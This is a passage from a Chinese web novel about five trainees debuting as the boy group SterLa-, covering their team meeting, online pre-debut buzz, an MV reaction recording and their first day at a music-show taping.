“大家好，我叫于立果，今年22岁，练习一年多了，目前的团队定位是领唱。以后就多多麻烦各位了。” “大家好，我叫江翰飞，今年19岁，练习八个月，目前的团队定位是主唱，希望大家以后多关照。” “大家好啊，我是禹安，20岁了，练习两年，定位是副Rap，大家以后多多关照噢。” 唐君君点点头，“团队名称还没定下来，策划还在商讨，你们有什么好的建议可以在看完策划样片之后提出来，发我微信就可以。” “另外补充说明，团队队长定的是吴星雨，你以后要管着他们练习。你们也需要习惯，小事儿先找队长解决，队长搞不定了再来找我。禹安除了副rap还有门面定位。” “有异议吗？” 几人乖巧摇头。 “这些没什么不好讲的，这是你们的见面介绍会，该说什么就说什么。”唐君君小小的训了几人一句。各自的定位都是昨天把他们聚一起说过的。 “好的君君姐。”禹安还是笑眯眯的说道，完全没有被训的情绪。 唐君君瞥他一眼，转头又说道，“大家现在都认识他们了吧？不认识的也尽快熟悉，明天开始要先去拍新的公式照。为了工作更好沟通，你们也自我介绍互相认识一下吧。” 话落，在场的其他人一一介绍起来。这就是负责他们的团队，一个执行经纪人，两个助理，两个发型师，一个造型师，还有一个护理管理的固定团队。其他的是各个部门以后会负责他们的团相关事务的人，来自公司的影视部，营销部，制作部等。 “出道专的策划会在这两天定下来，到时候会跟你们同步。在此之前，做好你们该做的。这个团，能把你们选进来，也能把你们再踢出去。” “散会吧。” 一场会开完，他们几个人的脑子里塞满了陌生人的脸，名字和职务内容。 晚上没安排其他的练习任务，让他们早点回宿舍做个护理，方便明天拍照上妆。几人洗完澡换过睡衣见时间还早，就凑在客厅沙发上一起聊天。 “真没想到君君姐居然成了我们的负责人。”禹安穿着卡通睡衣，盘腿坐在沙发上，领口处露出奶白色的皮肤，“确实没想到啊。不过也是好事儿吧，她能力很强，也很了解我们。” “但她在男团制作上是新人。”葛文山换了身睡袍，腰部系得很紧，勒出细细的腰，加上他192的大个子和宽肩，标准的倒三角。 于立果穿着素色的纯棉睡衣靠在沙发上，手垫在后脑勺上，显出几分懒散，“小道消息，上个男团Cilier当时就想让君君姐来负责，她拒绝了。” “嗯？为什么啊？”江翰飞穿着宽松的短袖短裤，纯纯吃瓜群众，还没反应过来唐君君做了职务调动，对唐君君全部印象来自合宿练习时期以及今天的雷厉风行。 “傻孩子，当然是因为她自己不想去负责那个团啊。”于立果慢悠悠接着说，“唔，那个团最后的人选配置她好像觉得不太行。” “哦？那这是反向证明了，咱们这几个组得还挺不错的？”禹安若有所思。 吴星雨换了身黑色的睡衣，他是最后一个洗完澡的，现在正擦着头发，“我看是，反正我觉得大家都挺厉害的。” “队长就是队长啊。那我们不得好好干啊。”于立果从沙发上撑起身，伸出手悬在茶几上方。“来来来，咱走一个呗。” “来！”其余四人一下明白了他的意思，一个接一个把手叠上去。 “1 2 3，加油加油加油！”五个人的手在客厅顶灯的照射下，在下面的茶几桌面上映出一道重重叠叠的影子。 唯有八卦和饭桌能快速拉进一群人的关系，华国传统源远流长。 前一天晚上小小的八卦完以后顶头上司的八卦，第二天再一起去换衣服，拍公式照，互相之间的生涩尴尬感顿减。 “这表现力真不错啊。”公司的摄影师赞叹一句。 “互动也很自然。”旁边的摄影助理眼睛直勾勾的看着正打闹着让摄影师抓拍的几人，谁不喜欢欣赏帅哥呢？！帅的酷的漂亮的活力的，这就是最好的眼睛护理。摄影助理这个岗位就是颜狗天选！ 如果每天看到的都是这样的帅哥美人，那我愿意加班呜呜呜。 唐君君站在摄像机后方，一边看着导入到电脑里的成品，一边默不作声的观察着他们。 往后的几个月里，他们没能再休息过一天。 时间太紧了，从定下来出道组人选后的第三天，团体的概念策划终于也定下来了。 随之而来的就是出道专。出道专是mini专，共收录6首歌，没有先行曲和后续曲的配置，重心都放在了主打曲和相关制作上。 现在每天练习室，片场，宿舍三点循环。 练习出道专主打曲的唱跳，熟悉走位和机位；配合着各种妆造和风格拍摄MV，海报，小卡；学习团队出场走位和应对媒体的话术。 偶尔被逮去开会，了解自己的专辑制作进度，以及认人。 没错，还有一项很重要的工作就是拿着照片和视频认识市场上各大知名男团，女团，歌手，主持和一些知名的艺术家。 唐君君三令五申，不能偶遇了不打招呼转身就走。 后来于立果私下悄悄跟他们说，这是因为有前车之鉴。现在已经快扑到无人问津的公司前男团Cilier就有一个成员，因为不认识人气男团的前辈，在两人遇到之后无视了人家前辈给他打招呼的动作，直接面无表情的走了。恰好被一位站姐拍到视频发到了网上。 别说Cilier那个成员的社交账号，那个人气男团的前辈粉丝都快把Cilier整个组合的社交账号给冲没了。 于是唐君君充分吸收经验教训，让他们还没出道的时候就把他们把市场上的前辈们都先熟悉了。 8月，乐狮营销部潜伏在各个平台的工作人员开始预热他们的新男团。 第23章 国内最大论坛的某组： “诶诶，你们听说了吗？乐狮的新男团。” “又要推新团？是嫌上一个Cilier扑的不够惨吗？” “老团不好好运营，又推新团，真以为都买账啊？” “楼上点了，乐狮全靠Hitting吃老本，但是他们在公司的待遇是最差的。” “我看那个新团说是10月出道，这摆明了是冲着新人奖去的吧？” “推新团关我们打团什么事儿，楼上少拉我们团下水蹭热度。” “新团几人团啊？” “我表哥的堂妹的朋友的姐姐在乐狮，内部消息是5人团。” “这个时候出5人团，这是要跟K家和安阳娱乐打擂台啊？” “打起来打起来，男团就是卷生卷死才好看。” “卧槽，还真是要打擂台！” “刚刚官宣了，10月12号出道。” “好好好，今年10月的热闹我看定了。” 乐狮前年末推出的新团Cilier折戟沉沙，痛失男团新人市场将近两年，这次新团也是卯足了劲儿要在今年的男团市场里咬下一块肉来。 从8月在各个大平台预热新男团开始，巨头娱乐公司K家和安阳娱乐也随之官宣要出新男团。圈内的营销号每天靠着他们几家公司的通稿和拉踩都赚足了流量。 “K家的新团IUE 10.8出道，安阳娱乐10.11出道，还没官宣组合名。同期还有这两个大热男团回归。”唐君君按着遥控器，跟他们细说着当前的情况，“跟你们提这些，不是为了给你们加压，当然你们也不能完全没压力。最重要的是让你们清楚，现在这个阶段你们的对手是谁。” “知己知彼后，要做的就是全力优化自己。” 唐君君说完给了小助理之一的欣怡一个眼神，欣怡领会，开始给他们同步近期的安排：“明天开始公司官方账号和新建的团队账号会陆续发布你们的照片官宣，一周后发布出道专的概念照和专辑配置同时开启预售，10.3号这周发布MV预告和专辑样品，10.12号晚上六点在发布非我音乐APP和Music Box上线音源和MV。10.13号在游鱼台的Idol Charming Show进行首秀打歌。” 也就是从现在开始的半个月，他们会以团队的形式，逐渐曝光在大众眼中，直到10.12正式出道。 “别忘了你们的概念，SterLa。” SterLa-，由德语单词里的星星Sterne和灯笼Laterne组合而成。都是会在夜晚发光的词。这和他们的概念有关，在灯笼Laterne里聚集了星星Sterne，灯笼代表着团队，星星代表着他们每个人，他们会在每个夜晚努力散发自己的光芒，在茫茫的黑夜中亮上一盏灯。 第二天下午两点，团队官方账号发布了吴星雨的个人预告短视频和概念照，穿着黑色的高领风衣，带着指虎，脸上有一道血痕，行走在被破坏的城市中。 “我勒个废墟文学啊？这个团是想搞个什么概念啊？” “看起来是打过架？” “不是，你们怎么都在说概念啊，是我老公的腹肌不够明显吗？prprpr” “主舞当队长诶，舞台的整齐度看来不用担心了。” 后面几天依次官宣了于立果，禹安，葛文山。 于立果外貌和定位对众人的吸引力相对较弱，反响在几人中差了点。相对的，禹安刚官宣不久，超话就飞速的建立了，虽然人还不多，但是里面禹安那几张带着朦胧感的概念照和预告视频截图已经刷屏了。 “我老婆啊，这一看就是我失散多年的老婆啊！” “崽啊，你长得这么漂亮让麻麻怎么活啊~” “天生爱上门面的命是这样的，天生颜狗我骄傲！” 葛文山很意外的因为带混血的外貌和某位动漫人物撞设定了，不少二次元的角色粉来围观，带起了公司也没料到的热度。营销组人员当即把那位动漫人物的设定和相关信息拉了一圈，见没什么问题，暗戳戳的又推波助澜一把，让葛文山超话的粉丝后来居上，成为四人里超话粉丝最多的人。 已经发布的几人的热度加上公司暗地里做的宣发挑起来的热度，不少人都关注了新组合的社交账号，等待着最后一个人的到来。 主舞，主Rap，门面和副唱都出来了，剩下的那个一定是主唱。主唱放在最后官宣的操作可不多，期间四人的粉丝和路人都在议论这个官宣顺序，最后一个会不会是公司的主捧。公说公有理婆说婆有理，最后还是不了了之，等待江翰飞露面的人又多了一些。 终于，下午两点江翰飞的预告在官号发出。同时五位成员发布完毕，官号正式更名为团队名：SterLa。 “首发的预告视频和都概念照居然用侧颜？看完了都看不到一个正脸，虽然高领毛衣很帅。但谁再bb一句这是主捧试试呢？” “概念照直接是预告视频截图了？这么敷衍我们主唱搞什么？” “宣发失误了？” “没有，团队的名字都出来了。看侧脸应该是帅的，只是比不上禹安宝贝和山子哥。” “SterLa是啥意思？好难记。另外楼上的拉踩来的这么快？” “是SterLa-，还有一个小横杠，这名确实奇怪，到时候等等他们的出道秀解释吧。” 江翰飞的官宣预告片和概念照都没有显露出自己的正面，高领毛衣紧紧包裹住的上半身，脖子上挂着一副头戴式耳机，和吴星雨好像走过的是同一个地方。 被吊了胃口的众人见最后一个人只有侧脸，还只有一套妆造，之前的主捧论马上破灭，还有人传这是被公司拉来垫底的。喜欢买股的红人粉们纷纷弃股，转而投向现在人气最高的禹安。也有人猜这种只放侧脸的方式只是为了继续勾引他们的胃口，同时给这个还没出道的主场虐点新粉丝入场。 也有不少粉丝因为没有见到江翰飞正脸反而来了兴趣，在超话里猜测着他的外貌和公司的真实意图，最后江翰飞的超话人气面前只排在了团内倒数第二，就比于立果稍好一些。 网上网民们的热情和关注度已经被炒起来了，官号的粉丝每天都在上涨。而几名成员因为越来越临近出道日，兴奋和紧张同时包裹着他们，让他们神经都绷紧了。 江翰飞比他们更紧张，他可是有任务在身的。 出道任务时限是一年，但是4月确认为出道组后，系统突然跳出来说任务完成度80%，然后给他延期了半年，出道任务的总时长变成了一年半。问它缘由说是根据系统最新计算，最快平均出道的练习时长是一年半。官宣照发布之后系统也不认可任务完成，江翰飞猜测得他们正式发售专辑作品才会认可他的出道任务完成。 幸好它当时给延后了半年。 本来预计8月会推出的他们因为公司的改动，调整到了10月出道，就为了10月的混战。 混战代表着混乱和时机。新老男女团交杂回归，偶像和歌手也齐飞，10月的回归大战除了各方粉丝，还吸引了大量准备看热闹的路人，时间没到，流量已经先起来了。 在这场混战里，他们团要么一炮而红，要么扑的无人在意。 10月12日，下午5点55分。 他们集中坐在练习室的一角，面前摆上了一台ipad。在ipad的后面是两台摄影机和几个工作人员。正准备拍他们对自己出道主打曲MV的Reaction。 准备出道的时间里他们拍了不少素材。江翰飞觉得，把他在之前拍过的所有照片加起来也不如这段时间拍的多。 好在这个公司的练习生时期就一直练着形体和演技等，让他面对黑洞洞的摄像机虽然还会紧张，但不至于说不出话来。 为了这个Reaction，负责他们妆造的老师从今天下午开始就给他们做妆造，竭力让他们体现出自然，随意，凌乱但是帅的造型，直到前一分钟，他们还在整理头发和嘴上的口红。 “快快快，准备开始了。” 摄像机的红色指示灯闪烁，显示已经开始录像了。 “咔——” 打板。 “1 2 3，大家好，我们是SterLa-！”吴星雨作为队长负责一起喊口号，喊完后一副很开心的样子跟成员们说道，“朋友们，今天我们需要做一个Reaction。” “噢噢，是什么呢？”于立果从不让话掉地上，装作不知道的样子很捧场的问。 一旁染了银发的禹安也装作很感兴趣的跟着望过去。 但吴星雨本来就是装作很开心，实际心里紧张的要死。见他们望过来，一晃神，随机选中了禹安旁边的江翰飞，“阿飞你知道吗？” “啊？嗯，我，我知道？”江翰飞第一次做Reaction，猝不及防的被点名，一时间也不知道自己该说知道还是不知道。 “那你来说是什么。” “是我们要做Reaction。”江翰飞脑子一懵，说完才发现自己说了句废话，赶紧又补充了一句，“是我们新曲的Reaction。” 说完空气沉默了一秒，于立果救场，“原来是我们出道曲《钢铁丛林》MV的Reaction啊，那我们现在就开始吧！” 坐在中间的禹安用ipad打开了非我音乐，几个脑袋凑过来一起看着。 时间已经跳到了18：00，禹安再一刷新，SterLa-的主页就显示出了唯一的专辑《钢铁丛林》。 同名主打曲，MV的拍摄已经过了好久，他们自己都记不清当时是什么情况了。 点击播放，团名先显示在画面正中间又渐渐隐去。 江翰飞看着消失的团名，莫名愣了一下。身边的葛文山不动声色的碰了碰江翰飞让他回神。 想起面前还有摄像机在录制，江翰飞赶紧低下头接着看MV。 前奏带着很特色的‘咔哧咔哧’的声音采样，配合鼓点，先抓住了耳朵让人想要接着往下听。画面加上通过混剪闪回，迅速地切过几双鞋和具有代表性的空间画面。接着画面转暗，好像是下班回家了。随着灯的熄灭，配合着于立果的沙沙嗓音画面中出现了吴星雨。 吴星雨红色的头发配着黑色风衣，里面是一件紧身的黑色背心，脚蹬一双皮靴，出现在路灯下。 “队长，你腹肌好帅！”禹安眼尖的看到了黑色紧身背心下的腹肌。 于立果不客气的揭穿，“为了这个镜头，队长天天晚上睡觉前都还要在床上做上三十个俯卧撑再睡。” “确实。”葛文山也想起每天晚上的俯卧撑打卡。 “片场拍摄前还在做呢，说是要让腹肌更加显眼一点。”江翰飞老实的跟着揭短。 “哎哎哎，别说了，给我留点面子啊。”吴星雨赶紧制止，老底要被揭穿了。 接着画面里又走过一个人，是戴着头戴式耳机的江翰飞，穿着黑色高领毛衣和灰色的毛衣外套配牛仔裤，路过吴星雨的时候专门看了他一眼。 这一眼从侧写的远景迅速拉进给了这双眼睛一个特写，深黑色的眼瞳里只有路灯的亮光映在其中，直直的凝视着穿黑色风衣的男人，似乎是在警惕又似乎是在审视，唯一肯定的是没有任何积极的情绪，望过来的时候只让人想避开他的目光。然而还来不及动作，长长的眼睫又轻轻垂下，再抬起的时候已经转而向前望去，不再看了，反而是被注视的那个人流露出怔愣的神色。 “W我的天，阿飞你这厉害了啊。”于立果是真的惊讶，拍摄的时候有分组，当时并没有看到江翰飞拍这个镜头，瞬间被惊艳到，刚刚差点把卧槽顺嘴秃噜出来。 其他几个队友也震惊，江翰飞和葛文山是队里公认的外露情绪很少的两位，没想到江翰飞的眼神表达能这么惊艳！ 江翰飞自己也没想到当时导演让他反复要他拍的镜头出来会是这个效果，想不好意思地挠挠头，临了又想起录制前经纪人说尽量不要做太出格的动作，抬了一下手又克制的放下了。 被看的有点不好意思了，手指蜷缩了一下，自己去点了继续播放键，“我们接着看吧。” 队友们知道江翰飞这是有点不好意思了，平时话很少的江翰飞难得这个样子，笑笑就放过了他继续看。 画面切到了房间内，一阵朦胧又眩晕的晃动出现后，穿着白色衬衣银发禹安赫然出现在床边，望着床上的人勾出一抹意味不明的笑。 “啊，禹安真的，你说你这脸咋张的？怎么就能这么帅呢？”吴星雨感慨道。 江翰飞也赞同的点头，当时他在现场看的都觉得太美了，是一种不分性别，符合大众和艺术共同对美的定义。 “羡慕吗？我妈妈给的。”禹安眼睛弯弯。 吴星雨一噎，废话，我还不知道这是妈妈给的吗！ 画面再一转，窗边忽然出现了一道黑影，慢慢的从窗边爬上来。镜头又擦过黑色的影子望向了对面的楼房，房间里也坐着一个人，扎着一个小揪，耳手里拿着一个面板，上面流淌着各种信息流，嘴巴一张一合似乎在说什么。 “于哥，这是你第一次扎小揪吧。”江翰飞第一个开口说道，于立果的头发原本没这么长的，为了拍MV才特意留长了，现在脑后也扎着一个小揪。 “突然想起为了说服于哥扎这个小揪，造型师，经纪人和导演轮番上阵了也是。” “主要以前从没尝试过，现在已经习惯了。”于立果摸摸脑后的小揪 调笑了几句几人都放松下来，说话间也没了刚开始的生涩感。 镜头上移，对上了站在楼顶的一道身影，圆月在他身后作为背景，勾勒出修长的身形，外面罩着一件长皮衣，腰间别着枪，正注视着窗户上的黑影。 “文山太适合这种造型了，这个镜头一遍就过了，让我们当天多了一个小时的睡眠时间。”吴星雨叹道，“毕竟是192的大长腿啊。” “羡慕了？”禹安调侃道。 “我不羡慕，可有人羡慕啊。”刚刚被禹安噎住的“仇”立马报了。 禹安哼了一声，转过头去了。谁让他是五个人里最矮的，他178cm，比小他一岁的江翰飞还矮几厘米。 这时窗户上的黑影突然有了异动，黑影面积变大，瞬间几人就有了动作，用不同的方式和它缠斗起来。 伴随着副歌的到来，战斗白热化，在副歌的最后一个音消失的时候黑影消失，从黑影的身体里爆出彩带，禹安捡起其中一条，画面又瞬间切换到了另一个场景。 “咱这个MV还挺特别的啊？”吴星雨喃喃道，他也算是了解市面上各大男团了，他们这种跟拍武打电影的MV还真没见过。 第24章 早上九点，社畜们开始了新一天的辛勤劳作，走完一系列早会流程，柯苗打开微信群聊开始偷偷摸鱼。 ‘爱吃炒豆’这个群是他们几个追星好几年的小姐姐一起建的，专门用来吐槽各个爱豆，不分中外，无论爆糊，统一扫射，每天的群聊消息都能聊到999+，是她每天快乐摸鱼老家。 “啊啊啊啊你们快看这个新团SterLa-，我的新老公们找到了啊！” “朱朱你冷静点，那天你看IUE的时候也是这么说的。”群里的gogo回复道。 “这次是真的T T，真的好帅呜呜呜。” “哈哈，谁谁谁，谁帅？让我看看！” “Woc，这是MV？这制作水平牛啊。” “确实，这画面都可以拿来当电影了。你看这构图，截图都好好看。” “歌还挺好听的耶。MV居然全是剧情？ “没太看懂呢，是说晚上睡觉了？还是死了啊？” “是梦里吧，旁边有个小陀螺一直在转，这个是致敬盗梦空间吧？” “我天，这个银色头发的跟公式照一样帅啊，我爱了。” “黑色高领毛衣好盐啊，好感觉是个酷boy。” “我都看完了，不是，这个团是纯音源团吗？我一个Dance Break都没看到。” “你这么一说，还真是，一个Dance Break都没有。” “噫，这个人是混血吗？唱Rap好酷哦。” 柯苗刚刚点开就刷出来一堆新消息，看完历史消息记录，是群里最花心的一个月能换30个墙头的朱朱在哭嚎看到的新老公。 10月的大混战她早就期待上了，只是这几天工作太忙，没来得及看。 “有没有链接呀，我也想去围观。”柯苗在群里发了个消息，她懒得再往上翻。 “在这儿，喵喵快去看！”群内的朱朱迅速响应甩来一条链接。 柯苗点开链接，出现画面的同时，瞬间被特别的采样声抓住，好奇的往下看。 看完一遍，点重播，再看一遍。 看完第四遍，柯苗终于过足瘾，啊啊啊啊这个男团的歌和人怎么就都能长在她的点上！！ 入坑，必须入坑！ 柯苗火速关注上跃音App的账号，又打开妙博，找到组合的官方账号关注上，加入几人的粉丝超话和团队超话，满足地刷着帖子。 “喵喵，你是不是超爱！”朱朱突然给她发来私聊，“我当时一看就知道，这肯定是你的菜！” “是的呜呜呜，超爱，我看了四遍了，还想循环。”柯苗切回聊天软件回消息，“感恩朱朱你的安利，我大口吃，真的好帅。我最推葛文山，太帅了，想在哥哥的鼻梁上滑滑梯！！” “他们今天下午出道首秀，你想看吗？” 柯苗手停在对话框好一会儿没打字，朱朱是富婆，群里的人都知道，对方随时随地都在追星，看演唱会，去签售，去见面会的路上。但她只是个普通社畜啊，虽然录制的地方离她不远，但是现在收录制票还能收到吗？ 愣神期间，朱朱又发来一句话，“我有今天Idol Charming Show录制的票，两张哦。” 柯苗早和朱朱几人线下见过，又不是第一次一起追星，说到这个份儿上，柯苗还不明白她就是白痴了，“去！” 这边的朱朱满意的笑了，追星当然是得跟小姐妹们一起才有意思，没有人一起发疯的追星太无趣了！ 跟柯苗约好明天的时间，朱朱从床上爬起来，走到自己的追星专属房间。 里面靠墙摆放着3个整面墙的大书架，书架上都是各个团体的专辑，应援棒，周边，签名专的数量也不少。如果有人进来能看到这间房间，估计会惊讶得张大嘴，这可比一些公司的陈列展示架还齐全。 朱朱的手划过一张张签名专，这可都是她一次次冲签售名额带回来的。 不过她现在对这些人已经没兴趣了。 作为典型的射手座，她喜欢新鲜刺激的东西，上头快但下头也快。上头的时候为了冲签售名额可以花出比预期线一两倍的钱，下头的时候可能就是一瞬间就不喜欢了，原地Say Goodbye。留下这些只是为了纪念一下自己的追星之旅而已。 除了这些专辑，手机里的社交账号更是不得了，喜欢的时候为了看他们的新鲜照片，她会直接跟行程自己拍或者买代拍。觉得喜欢的就会发到社交账号上一起欣赏，加上专辑也不少买，因此她的社交账号已经有50多万粉丝。不少前担粉，男色粉以及猜测她下一个目标的看热闹的粉丝。 想到MV里的惊鸿一瞥，朱朱忍不住开始期待今天的出道首秀。 而准备出道首秀的SterLa-几人在13号的凌晨就被拉起来做妆造，前一天晚上虽然录完Reaction就被放回去睡觉，但出道的兴奋感让他们睡不着，一直到快半夜了才入睡，算算也就勉强睡了3个小时。 造型室里开着冷气，各式各样的衣服挂了两台，沙发堆着各种包和化妆镜的小桌子上也放满了各类化妆品，江翰飞闭着眼，让化妆师给他画眼线。 “翰飞的眼睛弧度真好看，睫毛也长。姐姐我看MV的时候都被你的眼神惊住了呢。”化妆师姐姐是从确定他们为出道组就跟着的熟人，见他们有点紧张的样子，忍不住跟说点玩笑话放松。 江翰飞听到后眼睛不自然的快速眨动几下，眼线笔尖被带的一歪，“哎呀，翰飞你别动呀，眼线都歪了。” “不好意思，没忍住”这是本能反应，真的很难忍住啊。 “哈哈哈哈，我没有怪你的意思，翰飞这是害羞了吧。”化妆师重新给他画眼线，“以后等你们习惯了粉丝的彩虹屁，就不会对我这一两句夸奖感到害羞了。” 江翰飞顺着化妆师的思路往下想，他恶补了很多娱乐圈知识，也见过其他男团前辈的粉丝的夸夸。带入一下，如果有粉丝说他的腰不是腰，是杀人的弯刀 救命—— 江翰飞忍不住羞耻的一哆嗦，社死和尴尬的感觉比害羞更多。 幸好这时化妆师已经画完了眼线，不然他还得再重画一次。 “来，咖啡和三明治，放这儿了，大家自己拿。”唐君君带着小助理欣怡提着几大袋子咖啡进来，正好大家完活儿，起身过来领咖啡，江翰飞几人老实的拿了消肿的冰美式，其余人都喝的拿铁或者可可。 “咦？杯子上还有字？”吴星雨见咖啡杯上还贴着可爱的贴纸，仔细一看是句话，“祝SterLa-出道首舞台圆满成功！” “哇，还真是，欣怡你好有心。”其他工作人员也发现了。 “不是我，是君姐早就定制好的。”欣怡摆摆手，别说贴纸了，咖啡和三明治还都是君姐自掏腰包买的呢！ 唐君君走过来，举起一杯咖啡，“祝SterLa-出道首舞台顺顺利利，希望出道专结束后，我们能有机会喝庆功酒！” “祝SterLa-出道首舞台顺顺利利！”众人也跟着举起了咖啡。 咖啡代酒，爆红我有！ 外面天光微亮，众人困意被咖啡驱散，出发往出道打歌的录制地点去。 SterLa-的出道首舞台在Idol Charming Show（简称ICS/偶像秀），一档由游鱼电视台主办的老牌打歌节目，每周三的五点半到七点的晚饭黄金时段在网络和TV上同步播出。计分方式计算音源60%，销量30%，实时短信投票10%，各版块分数相加计为总分。 音源得分会根据这首歌在国内最权威的跃音音乐平台的一周内播放得分计算，销量按照销售额榜单计算，实时短信投票是在节目播放时间内给节目组固定号码发送短信进行投票。 因为ICS的计算方式偏重音源，因此这个打歌节目的普及度和含金量很高，不少家里也会看这个节目或者放着当背景音乐，就当是听歌了。 每次播放时间90分钟，加上串场和颁奖时间，留给各大团体的打歌时间并不很多，大概只有12首歌的舞台能播放出来。不少没背景的小公司团体别说拿奖了，连参与录制的资格都拿不到。 乐狮作为娱乐圈内中大型公司，录制资格还是不用担心的。也因此，唐君君直接选了人气最高的ICS作为他们的出道首舞台秀场。 等他们完成所有妆造到达录制大楼外时已经是早上七点多了。 入口处已经围了一圈粉丝。 当然不是他们这个出道还不到一天的新人团的。除了他们，今天还有好几个男团来进行回归录制，和他们同期出道的K家新团IUE和老对手安阳娱乐新团KtM也会来。 见外面围着粉丝，本来只是有点小紧张的众人，心脏突然就突突狂跳起来。 他们都是练习生时期经历了多次月末考核的人，按理来说在别人面前表演，展现自己的魅力应该是驾轻就熟，但见到门口围着的粉丝，一种紧张感从脚底升起，一路爬过身体，捏紧了他们的心脏，又砰砰敲打他们的耳膜，让他们的脑子发胀。 江翰飞的位置正靠窗，手抚着心脏，它正有着强有力又快节奏的跳动。他慢慢的深呼吸平缓自己的心跳，努力代入平时练习的松弛心态。深呼吸好几次，心跳还是很快，他无奈放弃，转过头来，忍了又忍，还是忍不住揪紧了自己的裤子。 “诶诶诶，翰飞，你别把裤子给揪皱了！”前排的造型师本来在‘欣赏’这几个新丁第一次走上班路的反应，结果就见着江翰飞把裤子揪的死紧，这裤子的面料可不能这么造啊。 这下好了，昨天熨好的裤子待会儿还得重新熨！ 第25章 车停稳后，江翰飞几人依次下了车，一个个的站在车前不动。第一次来没经验，吴星雨也不知道是不是直接进去就好了，还是要跟这些拿着别的男团成员灯牌的粉丝打招呼？ 他们算是到的早的团，还在等待正主来的粉丝们百无聊赖间也看了过来，扫过他们一圈，窃窃私语。 “这是哪个团啊？”两个粉丝小声交流着，手上拿着K家新团IUE的应援物。 “不知道，没见过，应该是个新团吧？” 打歌录制新团先到等着排空位，是艺人和粉丝都心知肚明的潜规则。人气老团可能十点来十点十分就能开始录制，新团就得等时间空缺，可能早上七点到的，下午两点才有时间空缺出来让他们录制。 “这个时间来的应该都是新团。” “诶诶，你看银色头发那个！”其中一个女孩看见了谁眼睛一亮，用手肘使劲儿拐着旁边的女生。 “我去，这颜值，妥妥的门面吧！人的皮肤可以白到反光吗？” “他旁边那个也好帅啊，禁欲高领诶！” “进去吧，多跟旁边的粉丝们笑笑。”唐君君在后面低声提示。 几人听见唐君君声音稍稍镇定下来。吴星雨作为队长迈步走在最前面，路过这群粉丝的时候几人还是忍不住紧张，对他们微笑的时候都带着一抹僵硬。 “帅哥，你们是哪个团的啊？”走到中间的位置，突然听见有人这么喊了一句。 吴星雨紧张的转头看了一眼站在远处的唐君君，深吸口气，拉住了队友们，“我们来喊个团队口号。” 几人迅速站好，“1 2 3，大家好，我们是SterLa-！” 声音中气十足，把紧张感都放进声带里吼出来了。 “噢噢~帅！！”围在门边的粉丝们突然笑起来。 五人莫名其妙摸不着头脑，突然感觉被调笑，赶紧低头先进去。 留在外面的粉丝们还在笑。 “来过这么多次，终于看到了，这就是传说中的新人美吗哈哈哈哈。” “站在中间就直接喊口号了哈哈哈哈哈。” “天呐，真的好呆萌，居然在这儿打招呼。团名叫啥？史黛拉？” “哈哈哈他们好像是乐狮的那个新团，昨天刷到他们的官号了。” “我去搜一搜。” 好些粉丝都被可爱到了，纷纷低头拿出手机搜索这个新男团的资料。 追星嘛，收个墙头很正常的啦。 当然也有不满的粉丝，有个安阳娱乐新团KtM的粉丝就很不爽，觉得他们在哗众取宠，故意吸新团的粉，当即把刚刚拍下来的视频开贴发到了论坛。 帖子：<新人男团就可以这么吸别家粉吗？（附视频）> 早上七八点，正是打工人挤地铁公交的时间，帖子没发多久，下面就盖起几十层楼。 等唐君君他们的人发现这个帖子的时候，帖子已经上百楼了，里面有无所谓觉得只是打个招呼的，也有觉得行为不合适的，还有趁机安利其他团体的。 营销部门的人特别开心，这热度纯白给啊。 本来就是模棱两可，对自己这方其实更有利。帖子里鱼龙混杂，各说各的理还都锤不死。 还有比这更好的营销素材吗？ 当即联系了各大营销号，火速搬运这个帖子和视频，用各个角度发文，把热度给燥起来。 这边进门的几个人没有粉丝盯着了，终于冷静下来。 吴星雨这才反应过来刚刚直接站在路中间就打招呼有点不太合适，又没有自己的粉丝，而且谁家正常跟粉丝打招呼也不会站在那个地方。 于立果看他隐隐懊恼，“我们都没反应过来呢，要不是你，就要尬在那儿了。” 江翰飞也见吴星雨似乎尴尬又懊恼的样子，轻轻拍拍他的肩膀，“没事的队长。我们先去找休息室吧，到了还能再复习一下舞蹈和走位。” 听到于立果和江翰飞安慰，吴星雨强迫自己把注意力放到休息室和后面的排练上，反复跟自己暗示：今天是出道首秀，出道的事情最重要，其余的都是浮云。 结果欣怡带着他们找了一圈，都没找到他们的休息室。 拉住一个匆匆的工作人员问，对方也不知道，只说没见过贴着他们名字的休息室。 先前唐君君给欣怡发了消息让带着他们先去休息室，说她去找台里的导演和监制们聊聊。现在给她发了消息没有回复，欣怡先去找她了，执行经纪人又在公司跟营销部开会。找不到休息室只能等在原地，几位妆造师就把箱子先堆到走廊角落，避免挡路。 太阳升起，十月的秋老虎可怕得很，阳光从走廊的窗户透进来，照在身上无端让人升起一股烦躁。 等了半个多小时，唐君君那边回了电话，没说其他，只说今天辛苦大家，让他们在走廊上再等等。欣怡跑去楼下买了冰水，喝过冰水，大家勉强把心里的燥热压下去。 又等了快一个小时，来往匆忙的工作人员已经开始让排位的团准备候场进行录制了，他们还在走廊傻等着。 江翰飞拉拉吴星雨的衣服，“队长，我们不知道什么时候能上，但现在等着也是等着，不如我们找个地方先复习一下舞蹈和走位？” 为了增加说服力，又补了一句，“反正这是中央空调，在哪儿都一样的凉快。” 其实他是一个擅长等待的人。在过去的那些年里，他有许多需要等待的事情，已经养出了耐心。只是看在场其余的几位队友就没有不皱眉的，连于立果这个爱笑的都冷着脸把弄着手机。 他想，与其沉浸在现在的烦躁里，不如找点能做的事。就算转移下注意力也好。 吴星雨听着不是滋味，这个开场和他预想的出道当天的开场落差太大。走廊来来往往的工作人员隐晦的打量谁会看不到吗？何况到现在，到达录制大楼的团越来越多，隐隐约约传来门外粉丝们一阵一阵的尖叫声。他们跟猴子一样站在这儿供人观赏取笑。这让他浑身长满了刺一样的不爽利。 “练习是没问题，但是没有休息室，待会儿补妆可能就麻烦了。” “姐，待会儿实在不行，咱在这儿补妆的话能补吗？”于立果不知道什么时候也走了过来，问向负责做妆造的老师。 造型师们已经把箱子拿下来当凳子坐着了。 “可以是可以，就是来来往往人太多”未竟之意不言而喻。 “没事儿，我们去那儿吧，空间大些。”江翰飞听造型师说没问题，指着走廊尽头的另一个拐角处对吴星雨说道。 “走吧。练练去。”吴星雨带着江翰飞和于立果，招呼着禹安和葛文山跟过来，五人就往那边练舞去了。 位置不大，只能小幅度的移动和做小动作，熟悉熟悉舞蹈动作和走位。进入练习之后，反而整个人都平静了下来，全身心投入到艰难地练习里。 几人站在走廊拐角处那一小块儿地方练习的样子，来来往往的工作人员就没有不好奇的。但他们见多了明星，又签过保密协议，只是克制的看看，暗自感慨一下哪个团这么惨在走廊练习走位，倒也没人拍照录视频。 